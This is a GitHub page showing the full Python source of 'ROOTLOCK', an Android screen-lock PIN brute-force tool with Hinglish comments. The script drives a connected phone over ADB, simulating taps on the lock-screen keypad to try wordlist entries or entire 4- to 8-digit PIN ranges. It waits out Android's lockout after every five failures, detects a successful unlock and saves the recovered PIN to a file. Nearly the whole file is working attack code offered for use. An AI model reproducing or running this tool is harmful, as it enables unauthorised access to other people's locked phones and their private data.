-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrootlockalpha.py
More file actions
502 lines (436 loc) · 18.2 KB
/
Copy pathrootlockalpha.py
File metadata and controls
502 lines (436 loc) · 18.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ============================================================
# ROOTLOCK v1.4 - Android Screen Lock BruteForce Tool
# Author : RootBySuraj
# GitHub : https://github.com/RootBySuraj
# FIX : Wordlist = Option 1 + Start se pehle confirmation
# ============================================================
import os
import sys
import time
import shutil
import subprocess
import webbrowser
# ---------------- COLORS ----------------
R = "\033[0m"
B = "\033[1m"
SAFF = "\033[1;38;5;208m"
SAFF2= "\033[38;5;208m"
DGRN = "\033[1;38;5;28m"
DYLW = "\033[1;38;5;143m"
GRN = "\033[1;92m"
RED = "\033[1;91m"
WHT = "\033[1;97m"
CYN = "\033[1;96m"
DIM = "\033[2m"
HL = "\033[1;97;42m"
AUTHOR = "RootBySuraj"
GITHUB = "https://github.com/RootBySuraj"
VERSION = "1.4"
ADB_PATH = "adb"
DEBUG = False # True karo to har adb command ka output dikhega
BANNER = SAFF + r"""
____ ___ ___ _____ _ ___ ____ _ __
| _ \ / _ \ / _ \ |_ _| | | / _ \ / ___| | |/ /
| |_) || | | || | | | | | | | | | | || | | ' /
| _ < | |_| || |_| | | | | |___ | |_| || |___ | . \
|_| \_\ \___/ \___/ |_| |_____| \___/ \____| |_|\_\
""" + R + SAFF2 + B + " >>> SCREEN BRUTEFORCE <<< " + R
# ---------------- ATTACK SETTINGS ----------------
ATTACK_DELAY = 0.3
TAP_DELAY = 0.25 # har digit tap ke beech gap
LOCKOUT_WAIT = 31
# Keypad position (screen % me) - tap galat jagah lage to adjust karo
KP_ROWS = [0.62, 0.70, 0.78, 0.86] # row1, row2, row3, row4 (y %)
KP_COLS = [0.25, 0.50, 0.75] # col1, col2, col3 (x %)
# Digit -> (col_index, row_index)
KP_LAYOUT = {
"1": (0, 0), "2": (1, 0), "3": (2, 0),
"4": (0, 1), "5": (1, 1), "6": (2, 1),
"7": (0, 2), "8": (1, 2), "9": (2, 2),
"0": (1, 3),
}
SCREEN_W = 540
SCREEN_H = 1200
def clear():
os.system("cls" if os.name == "nt" else "clear")
def find_adb():
global ADB_PATH
if shutil.which("adb"):
ADB_PATH = "adb"
return True
paths = [
r"C:\platform-tools\adb.exe",
r"C:\Users\admin\Downloads\platform-tools-latest-windows\platform-tools\adb.exe",
os.path.expanduser(r"~\Downloads\platform-tools-latest-windows\platform-tools\adb.exe"),
os.path.expanduser(r"~\platform-tools\adb.exe"),
os.path.expandvars(r"%LOCALAPPDATA%\Android\Sdk\platform-tools\adb.exe"),
]
for p in paths:
if os.path.isfile(p):
ADB_PATH = f'"{p}"'
return True
return False
def adb(cmd, timeout=15):
try:
out = subprocess.run(f"{ADB_PATH} {cmd}", shell=True,
capture_output=True, text=True, timeout=timeout)
result = (out.stdout or "") + (out.stderr or "")
if DEBUG:
print(f"\n {DIM}[ADB] {cmd} => {result.strip()[:200]}{R}")
return result
except Exception:
return ""
def device_status():
out = adb("devices", timeout=10)
for line in out.splitlines()[1:]:
line = line.strip()
if line.endswith("\tdevice"):
return "connected"
if "unauthorized" in line:
return "unauthorized"
if "offline" in line:
return "offline"
return "none"
def get_screen_size():
global SCREEN_W, SCREEN_H
out = adb("shell wm size", timeout=10)
for line in out.splitlines():
if "size" in line.lower() and "x" in line.lower():
try:
size = line.split(":")[-1].strip()
if "rotation" in size.lower():
continue
w, h = size.split("x")
SCREEN_W, SCREEN_H = int(w), int(h)
print(f" {DGRN}[OK] Screen size: {WHT}{SCREEN_W}x{SCREEN_H}{R}")
return True
except Exception:
pass
print(f" {DYLW}[!] Screen size nahi mili - default 540x1200 use ho raha{R}")
return False
def is_unlocked():
out = adb('shell "dumpsys window | grep -i mCurrentFocus"', timeout=10)
for line in out.splitlines():
if "mcurrentfocus" in line.lower():
focus = line.lower()
if any(k in focus for k in ("keyguard", "statusbar",
"notificationshade", "lockscreen")):
return False
if "mcurrentfocus=null" in focus:
return False
return True
return True
def wake_screen():
adb("shell input keyevent 224")
time.sleep(0.6)
x = SCREEN_W // 2
y_start = int(SCREEN_H * 0.75)
y_end = int(SCREEN_H * 0.25)
adb(f"shell input swipe {x} {y_start} {x} {y_end} 250")
time.sleep(0.8)
def digit_pos(d):
col, row = KP_LAYOUT[d]
x = int(SCREEN_W * KP_COLS[col])
y = int(SCREEN_H * KP_ROWS[row])
return x, y
def tap_digit(d):
x, y = digit_pos(d)
adb(f"shell input tap {x} {y}", timeout=10)
time.sleep(TAP_DELAY)
def try_password(pw):
"""
Har digit SCREEN PAR TAP hota hai - bilkul ungli jaisa.
File ke passwords HI try honge - 1st line se last line tak,
order me. Ek bhi extra/alag password try NAHI hoga.
"""
for ch in pw:
if ch.isdigit():
tap_digit(ch)
else:
adb(f'shell input text "{ch}"', timeout=10)
time.sleep(TAP_DELAY)
adb("shell input keyevent 66", timeout=10) # ENTER/OK
def clear_field():
adb("shell input keyevent " + " ".join(["67"] * 30), timeout=10)
x = int(SCREEN_W * KP_COLS[2])
y = int(SCREEN_H * KP_ROWS[3])
for _ in range(6):
adb(f"shell input tap {x} {y}", timeout=10)
time.sleep(0.15)
time.sleep(0.2)
def screen_test():
print(f"\n {SAFF}{B}========== SCREEN TEST =========={R}\n")
print(f" {WHT}1.{R} Phone ki screen {SAFF}ON{R} karo")
print(f" {WHT}2.{R} Lock screen par {SAFF}swipe up karke PIN pad kholo{R} (haath se!)")
print(f" {WHT}3.{R} Phone usi screen par {SAFF}rkho{R}\n")
input(f" {SAFF}[*] PIN pad khulne ke baad ENTER dabao...{R}")
print(f"\n {SAFF2}[*] Ab 1, 2, 3 TAP ho raha hai... PHONE DEKHO!{R}\n")
for d in "123":
x, y = digit_pos(d)
print(f" {DIM}[*] Tap {d} at ({x},{y}){R}")
adb(f"shell input tap {x} {y}", timeout=10)
time.sleep(0.6)
print(f" {DGRN}[?] Kya phone ke PIN pad par 1, 2, 3 DABE?{R}")
print(f" {WHT}[1]{R} Haan! 1,2,3 dabe - perfect")
print(f" {WHT}[2]{R} Tap laga lekin GALAT jagah laga")
print(f" {WHT}[3]{R} Kuch nahi hua\n")
choice = input(f" {SAFF}{B}Select (1/2/3):{R} ").strip()
if choice == "1":
print(f"\n {GRN}[OK] Sab perfect! Ab Option 1 se attack chalao.{R}\n")
elif choice == "2":
print(f"\n {DYLW}[!] Keypad position adjust karo:{R}")
print(f" {WHT} KP_ROWS = [0.62, 0.70, 0.78, 0.86]{R}")
print(f" {DYLW} Tap niche gaya to value KAM karo, upar gaya to BADHAO{R}")
print(f" {DYLW} Left/right ke liye KP_COLS adjust karo{R}\n")
else:
print(f"\n {RED}[X] Kuch nahi hua - CMD me directly ye chalao:{R}")
print(f" {CYN} adb shell input tap {SCREEN_W//2} {int(SCREEN_H*0.7)}{R}")
print(f" {DYLW} Isse bhi kuch na ho = USB Debugging issue hai{R}\n")
input(f" {DIM}[*] Menu ke liye ENTER dabao...{R}")
def show_connect_status():
status = device_status()
if status == "connected":
print(f"\n [{GRN}*{R}] Mobile Connect : {DGRN}{B}Mobile Connect OK{R}")
return True
elif status == "unauthorized":
print(f"\n [{RED}!{R}] Mobile : {DYLW}{B}Not Connected (Unauthorized){R}")
print(f" {DYLW}Phone par 'Allow USB Debugging' popup allow karo!{R}")
return False
elif status == "offline":
print(f"\n [{RED}!{R}] Mobile : {DYLW}{B}Not Connected (Offline){R}")
return False
else:
print(f"\n [{RED}!{R}] Mobile : {DYLW}{B}Not Connected{R}")
return False
def header():
clear()
print(BANNER)
print(f" {SAFF2}+--------------------------------------------+{R}")
print(f" {WHT} Author : {SAFF}{B}{AUTHOR}{R}")
print(f" {WHT} GitHub : {SAFF}{B}{GITHUB}{R}")
print(f" {WHT} Version : {DGRN}{B}v{VERSION}{R}")
print(f" {WHT} Tool : {CYN}Android Screen Bruteforce (TAP Mode){R}")
print(f" {SAFF2}+--------------------------------------------+{R}\n")
def show_instructions():
print(f" {SAFF}{B}[!] Important - Pehle Mobile Setup Karo:{R}\n")
print(f" {WHT}1.{R} Mobile ko {SAFF}USB cable{R} se connect karo")
print(f" {WHT}2.{R} {WHT}USB Debugging{R} {DGRN}ON{R} karo (Developer Options me)")
print(f" {WHT}3.{R} Phone par {WHT}'Allow USB Debugging'{R} popup aaye to {DGRN}Allow{R} dabao")
print(f" {WHT}4.{R} Pehli baar {SAFF}Option 6 (SCREEN TEST){R} zaroor chalao\n")
print(f" {DIM}--------------------------------------------------{R}\n")
def menu():
print(f" {SAFF}{B}+=============== MENU ===============+{R}")
print(f" {WHT} [{SAFF}1{R}] {WHT}WORDLIST ATTACK{R} {DIM}(Apni File Se){R}")
print(f" {SAFF}{B} + - - - - - - - - - - - - - - - - - +{R}")
print(f" {WHT} [{SAFF}2{R}] {WHT}4 Digit PIN Attack{R} {DIM}(0000 - 9999){R}")
print(f" {WHT} [{SAFF}3{R}] {WHT}5 Digit PIN Attack{R} {DIM}(00000 - 99999){R}")
print(f" {WHT} [{SAFF}4{R}] {WHT}6 Digit PIN Attack{R} {DIM}(000000 - 999999){R}")
print(f" {WHT} [{SAFF}5{R}] {WHT}8 Digit PIN Attack{R} {DIM}(00000000 - 99999999){R}")
print(f" {SAFF}{B} + - - - - - - - - - - - - - - - - - +{R}")
print(f" {WHT} [{SAFF}6{R}] {WHT}SCREEN TEST{R} {DIM}(Pehle Ye Chalao!){R}")
print(f" {WHT} [{SAFF}7{R}] {WHT}Author GitHub Account{R} {DIM}(Redirect){R}")
print(f" {WHT} [{SAFF}0{R}] {WHT}Exit{R}")
print(f" {SAFF}{B}+====================================+{R}\n")
print(f" {GRN}>> Apni pass file (txt) se attack = Option {SAFF}{B}1{R}")
print(f" {GRN}>> File me jitne pass honge SIRF UTNE HI try honge,")
print(f" {GRN}>> 1st line se last line tak, order me!{R}\n")
try:
return input(f" {SAFF}{B}RootBySuraj@RootLock:~${R} ").strip()
except (EOFError, KeyboardInterrupt):
return "0"
def save_result(save_path, password, total, elapsed):
try:
with open(save_path, "w") as f:
f.write("=" * 45 + "\n")
f.write(" ROOTLOCK - Android Screen Lock BruteForce\n")
f.write(f" Author : {AUTHOR}\n")
f.write(f" GitHub : {GITHUB}\n")
f.write("=" * 45 + "\n")
f.write(" STATUS : MOBILE UNLOCKED\n")
f.write(f" PASSWORD : {password}\n")
f.write(f" TOTAL TRY : {total}\n")
f.write(f" TIME TAKEN : {elapsed:.2f} sec\n")
f.write("=" * 45 + "\n")
return True
except Exception as e:
print(f" {RED}[!] File save nahi hui: {e}{R}")
return False
def start_attack(pw_list, save_path):
"""
pw_list = file ke EXACT passwords (1st line se last line tak).
Generator nahi - LIST. Jitne file me, utne hi try hoge.
"""
total_combos = len(pw_list)
print(f"\n {SAFF}{B}[*] Attack Started (WORDLIST MODE){R}")
print(f" {DIM}[*] File ke {total_combos} passwords - 1st line se last tak, order me")
print(f" {DIM}[*] Koi extra/alag password try NAHI hoga")
print(f" {DIM}[*] Stop karne ke liye: CTRL + C{R}\n")
print(f" {SAFF2}[*] Screen wake kar rahe hain...{R}")
wake_screen()
start_time = time.time()
count = 0
try:
for pw in pw_list: # LIST se loop - file ka exact order
if count % 50 == 0 and count != 0:
if device_status() != "connected":
print(f"\n {RED}[!] Device disconnect ho gaya! Attack paused.{R}")
input(f" {SAFF}[*] Device reconnect karo aur ENTER dabao...{R}")
wake_screen()
try_password(pw)
count += 1
time.sleep(ATTACK_DELAY)
elapsed = time.time() - start_time
speed = count / elapsed if elapsed > 0 else 0
sys.stdout.write(
f"\r {SAFF2}[>] Trying:{R} {WHT}{pw:<20}{R} "
f"{SAFF2}| Try:{R} {WHT}{count}/{total_combos}{R} "
f"{SAFF2}| Speed:{R} {WHT}{speed:.1f}/s{R} ")
sys.stdout.flush()
if is_unlocked():
elapsed = time.time() - start_time
print(f"\n\n {GRN}{B}[OK] Mobile Unlock !{R}")
print(f" +--------------------------------------+")
print(f" {WHT} Password :{R} {HL}{B} {pw} {R}")
print(f" +--------------------------------------+")
print(f" {SAFF2}[*] Total Try : {WHT}{count}{R}")
print(f" {SAFF2}[*] Time Taken : {WHT}{elapsed:.2f} sec{R}")
save_result(save_path, pw, count, elapsed)
print(f" {DGRN}[OK] Password save ho gaya: {WHT}{save_path}{R}\n")
return
clear_field()
if count % 5 == 0:
print(f"\n {DYLW}[!] Android 5 try ke baad lock karta hai - {LOCKOUT_WAIT} sec wait...{R}")
for i in range(LOCKOUT_WAIT, 0, -1):
sys.stdout.write(f"\r {DYLW}[*] Waiting... {i} sec{R} ")
sys.stdout.flush()
time.sleep(1)
print()
wake_screen()
except KeyboardInterrupt:
print(f"\n\n {DYLW}[!] Attack stop kiya gaya (CTRL + C){R}")
print(f" {SAFF2}[*] Total Try : {WHT}{count}{R}\n")
return
print(f"\n\n {RED}[X] Password not found!{R}\n")
def safe_input(msg):
try:
return input(msg)
except (EOFError, KeyboardInterrupt):
return ""
def ask_save_path():
print()
save_path = safe_input(f" {SAFF}{B}[?] Save File Naam ya Path (e.g. pass.txt):{R} ").strip()
if not save_path:
save_path = "found_password.txt"
print(f"\n {SAFF}{B}[*] Press {WHT}ENTER{R} to {SAFF}{B}START ATTACK{R} ...", end="")
safe_input("")
return save_path
def wordlist_attack():
"""Option 1 - File ke passwords HI, EXACT order me."""
header()
show_instructions()
if not show_connect_status():
safe_input(f"\n {SAFF}[*] Mobile connect karke ENTER dabao (ya CTRL+C exit):{R} ")
if not show_connect_status():
return
print()
wlist_path = safe_input(f" {SAFF}{B}[?] Wordlist File Path (apni pass file .txt):{R} ").strip()
if not wlist_path or not os.path.isfile(wlist_path):
print(f" {RED}[X] Wordlist file nahi mili!{R}\n")
safe_input(f" {DIM}[*] ENTER dabao...{R}")
return
try:
with open(wlist_path, "r", errors="ignore") as f:
words = [w.strip() for w in f if w.strip()]
except Exception as e:
print(f" {RED}[X] File read error: {e}{R}")
safe_input(f" {DIM}[*] ENTER dabao...{R}")
return
if not words:
print(f" {RED}[X] File khali hai! Koi password nahi mila.{R}")
safe_input(f" {DIM}[*] ENTER dabao...{R}")
return
# -------- CONFIRMATION: kya-kya try hoga, sab dikhao --------
print(f"\n {DGRN}[OK] File: {WHT}{wlist_path}{R}")
print(f" {DGRN}[OK] Total Passwords: {WHT}{len(words)}{R} {DGRN}- SIRF YE HI try honge:{R}\n")
for i, w in enumerate(words, 1):
print(f" {SAFF2}[{i}]{R} {WHT}{w}{R}")
print(f"\n {DYLW}[!] Confirm: Upar wale {len(words)} passwords hi try honge,")
print(f" {DYLW} 1st line se last line tak, ISI order me.{R}")
confirm = safe_input(f" {SAFF}{B}[?] Attack start kare? (y/n):{R} ").strip().lower()
if confirm != "y":
print(f"\n {DYLW}[!] Attack cancel ho gaya.{R}\n")
safe_input(f" {DIM}[*] ENTER dabao...{R}")
return
save_path = ask_save_path()
start_attack(words, save_path) # LIST pass ki - exact order guaranteed
def pin_attack(n):
header()
show_instructions()
if not show_connect_status():
safe_input(f"\n {SAFF}[*] Mobile connect karke ENTER dabao (ya CTRL+C exit):{R} ")
if not show_connect_status():
return
total = 10 ** n
if n >= 5:
print(f"\n {DYLW}[!] Warning: {total:,} combinations - bahut time lagega!{R}")
print(f"\n {DYLW}[!] Note: Ye option file IGNORE karta hai -")
print(f" {DYLW} {total:,} sab combinations try honge (0000... se).{R}")
print(f" {DYLW} Apni FILE se attack = Option {SAFF}{B}1 (WORDLIST ATTACK){R}")
confirm = safe_input(f"\n {SAFF}{B}[?] Phir bhi start kare? (y/n):{R} ").strip().lower()
if confirm != "y":
print(f"\n {DYLW}[!] Cancel.{R}")
return
save_path = ask_save_path()
pw_list = [str(i).zfill(n) for i in range(total)]
start_attack(pw_list, save_path)
def main():
os.system("")
header()
show_instructions()
if not find_adb():
print(f" {RED}[X] ADB nahi mila! Platform-tools ka path check karo.{R}\n")
sys.exit(1)
else:
print(f" {DGRN}[OK] ADB found: {WHT}{ADB_PATH}{R}\n")
get_screen_size()
time.sleep(1)
while True:
choice = menu()
if choice == "0":
print(f"\n {SAFF}{B}[*] Bye! - {AUTHOR} | {GITHUB}{R}\n")
sys.exit(0)
elif choice == "1":
wordlist_attack()
safe_input(f" {DIM}[*] Menu par wapas jaane ke liye ENTER dabao...{R}")
header()
show_instructions()
elif choice in ("2", "3", "4", "5"):
n = {"2": 4, "3": 5, "4": 6, "5": 8}[choice]
pin_attack(n)
safe_input(f" {DIM}[*] Menu par wapas jaane ke liye ENTER dabao...{R}")
header()
show_instructions()
elif choice == "6":
header()
screen_test()
header()
show_instructions()
elif choice == "7":
print(f"\n {SAFF}[*] GitHub account khul raha hai...{R}")
webbrowser.open(GITHUB)
safe_input(f" {DIM}[*] Wapas aane ke liye ENTER dabao...{R}")
header()
show_instructions()
else:
print(f"\n {DYLW}[!] Galat option! Dobara select karo.{R}\n")
time.sleep(1)
header()
show_instructions()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n\n {DYLW}[!] Tool band kiya gaya. Bye! - {AUTHOR}{R}\n")
sys.exit(0)